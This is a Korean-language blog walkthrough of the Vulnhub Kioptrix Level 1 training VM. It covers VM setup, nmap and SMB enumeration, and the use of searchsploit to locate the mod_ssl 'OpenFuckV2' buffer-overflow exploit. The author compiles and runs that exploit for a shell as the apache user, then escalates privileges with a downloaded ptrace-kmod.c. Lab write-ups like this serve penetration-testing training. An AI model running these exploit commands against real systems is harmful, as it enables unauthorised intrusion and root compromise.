https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
이번 시나리오 모의해킹은 Kioptrix 입니다. 이 실습 VM은 IP가 잘안잡혀서 살짝 삽질을 좀 했는데 IP 설정하는 것 부터 설명하도록 하겠습니다.
실습 환경 : VirtualBox(Kali, 실습VM)
실습 VM 구축
1. Kioptrix 사이트에서 압축 파일을 다운 받은 후 압축을 푼다
2. VirtualBox 에서 머신 -> 새로 만들기
3. 이름 설정 및 Linux를 선택한 후 컴퓨터 아키텍쳐를 선택한다
4. 최소 메모리 크기를 1024MB로 설정하거나 기본값으로 설정한다.
5. 가상 하드 디스크를 추가하지 않음을 선택한다
6. 생성 후 네트워크 연결 설정 어댑터에 브릿지로 설정 후 고급 설정에서 PCnet-PCI II(Am79C970A)를 선택한다
7. 이후 저장소 -> 컨트롤러:IDE -> 하드디스크 추가 -> 기존 디스크 선택 -> 압축해제한 Kioptrix VMDK 파일을 검색해서 추가한다.
8. VM을 실행 시킨 후 Kali에서 IP가 뜨는지 확인한다.
이렇게 뜬다면 정상적으로 된것이다. 이제 실습을 진행하면 된다
정보수집
Nmap을 통해 실행중인 호스트를 조사한다
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.124
Host is up (0.00029s latency).
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
...
192.168.45.124 IP를 가진 실습 VM이 검색 되었다. Nmap을 통해서 어떤 포트가 열려있는지 또한 자세한 정보수집 까지 진행한다.
└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.124 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:11 KST
Nmap scan report for 192.168.45.124
Host is up (0.00032s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.32 seconds
이전 실습에 비해 꽤 열려있는 포트가 있다. 자세한 정보수집을 위해서는 열려있는 포트 번호를 일일히 쳐줘야하는데 그것보다 Nmap의 출력된 파일을 포트번호만 나오게 파싱한다
└─$ cat tcpAll.nmap | awk '{ print $1 }' | grep -i 'tcp' | tr -d '/tcp' | paste -s -d ','
22,80,111,139,443,32768
파싱된 포트를 넣어서 추가적으로 자세한 정보 수집을 한다
└─$ sudo nmap -p 22,80,111,139,443,32768 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.124 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:14 KST
Nmap scan report for 192.168.45.124
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2024-06-14T12:14:43+00:00; +3h59m59s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
|_http-title: 400 Bad Request
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: 3h59m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.49 seconds
얻을 수 있는 정보가 꽤많이 나왔다.
22 - openssh 2.9p2
80 - apache httpd 1.3.20
139 - netbios ssn smbd (workgroup : MYGROUP)
443 - apache httpd 1.3.20, mod_ssl/2.8.4, openssl/0.9.6p
취약점 진단
SMB
nbtscan 을 통해서 netbios 이름을 우선 파악한다
└─$ nbtscan 192.168.45.124
Doing NBT name scan for addresses from 192.168.45.124
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.45.124 KIOPTRIX <server> KIOPTRIX 00:00:00:00:00:00
이후 enum4linux 툴을 이용해 smb에 대해서 자세한 정보를 더 파악해본다
└─$ enum4linux -a 192.168.45.124 | tee smbd_res.txt
==================================( OS information on 192.168.45.124 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.45.124 from srvinfo:
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
================================( Share Enumeration on 192.168.45.124 )================================
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.45.124
[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.45.124/IPC$ Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
//192.168.45.124/ADMIN$ Mapping: N/A Listing: N/A Writing: N/A
뭔가 smb 버전에 대한 정보를 원했는데 원하던 정보는 나오지 않았다. smbclient를 이용해서도 smb에 접근을 시도해본다
└─$ smbclient \\\\192.168.45.124\\MYGROUP
Password for [WORKGROUP\kali]:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
Anonymous 로그인은 성공햇지만 접속이 실패 하였다. 다시 처음으로 돌아가 Nmap을 이용해 smb에 대한 추가 정보 수집을 진행해본다
└─$ nmap -p 139 --min-rate 1500 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 18:10 KST
Nmap scan report for 192.168.45.124
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
smb관련 스크립트를 돌리니 대상 호스트에서 운영중인 서버에 대한 취약점 까지 파악하여 알려주었다.
metasploit을 통해서 익스플로잇까지 진행해봤지만 대상 호스트에 접근이 안되는 것으로 보아 다른 취약점을 진단하여 익스플로잇한다.
WEB
대상 호스트에서 실행중인 웹에 대해서 잠재적인 취약점 및 다양한 정보를 스캐닝하기 위해서 nikto를 사용하여 취약점 진단 부터 익스플로잇까지 실시한다.
Nmap 을 통한 정보수집에서 동일한 mod_ssl 버전을 파악했으니, searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾는다
└─$ searchsploit mod_ssl
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow | unix/remote/40347.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
내가 사용할 취약점은 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) 이다. c 파일을 가져와서 컴파일 후에 익스플로잇을 진행해보도록한다
# 익스플로잇 파일 가져오기
└─$ searchsploit -m 47080 .
# 컴파일 하는 방법 파악
└─$ cat 47080.c | head -30
...
/*
* OF version r00t VERY PRIV8 spabam
* Version: v3.0.4
* Requirements: libssl-dev ( apt-get install libssl-dev )
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
* objdump -R /usr/sbin/httpd|grep free to get more targets
* #hackarena irc.brasnet.org
* Note: if required, host ptrace and replace wget target
*/
...
# 컴파일
└─$ gcc -o exploit 47080.c -lcrypto
정보수집에서 얻은 apache 버전은 1.3.20 Red-hat/Linux 이다 OS 정보가 있으니 참고한다
우리가 사용할 것은 0x6b 이다!
익스플로잇
컴파일된 exploit 파일을 이용하여 익스플로잇을 진행하여 대상 호스트로 초기 침투를 시도한다.
# 최종적으로 사용할 명령어
└─$ ./exploit 0x6b 192.168.45.124 443
# 초기 침투 증명
id; hostname
uid=48(apache) gid=48(apache) groups=48(apache)
kioptrix.level1
대상 호스트에 접근해 이전에 얻지 못했던 smb 정보에 대해서 찾았다.
mod_ssl 취약점을 통해서 익스플로잇하여 초기 침투에 성공했지만, 이제는 samba 버전도 알았으니 samba 취약점을 찾아 익스플로잇할 수 있는 하나의 취약점을 더 발견했다.
우선 이미 대상 호스트에 초기 침투했으니, 권한 상승을 하기 위해서 추가적인 정보를 수집한다.
권한 상승
사실 권한 상승은 대상 호스트에 초기 침투 했을때 ptrace-kmod.c 파일이 다운받아지면서 컴파일 하고 관리자 권한으로 권한 상승이 되는것인데, SSL 연결에 실패해서 외부에서 파일을 받아 오지 못해서 권한 상승 중간에 막혀 apache 유저로 접근이 됬다.
그렇다면 내가 해야할 것은 ptrace-kmod.c 를 검색해 kali에서 파일은 다운하고 그 다운받은 파일을 대상 호스트에서 다운받는 방법이 있다.
이렇게 파일을 다운받았으면 ctrl+c를 통해서 접근한 대상 호스트에서 로그아웃 한 다음 다시 접근을 한다
└─$ ./exploit 0x6b 192.168.45.124 443
그렇게 되면 ptrace-kmod.c 파일이 있기 때문에 자동으로 컴파일이 되고 그것을 실행 시켜 관리자 권한을 획득한 것을 확인 할 수 있다.
컴파일하고 난 이후에 대상 호스트에서 파일을 다운받아도 되겠다 라는 생각을 했다.
'Vulnhub' 카테고리의 다른 글
[Vulnhub] FristiLeaks: 1.3 Walkthrough (0) | 2024.06.20 |
---|---|
[Vulnhub] Kioptrix_Level_1.3(#4) Walkthrough (0) | 2024.06.19 |
[Vulnhub] Kioptrix_Level_1.2(#3) Walkthrough (0) | 2024.06.18 |
[Vulnhub] Kioptrix_Level_1.1 (#2) Walkthrough (0) | 2024.06.17 |
[Vulnhub] Dina: 1.0.1 Walkthrough (2) | 2024.06.13 |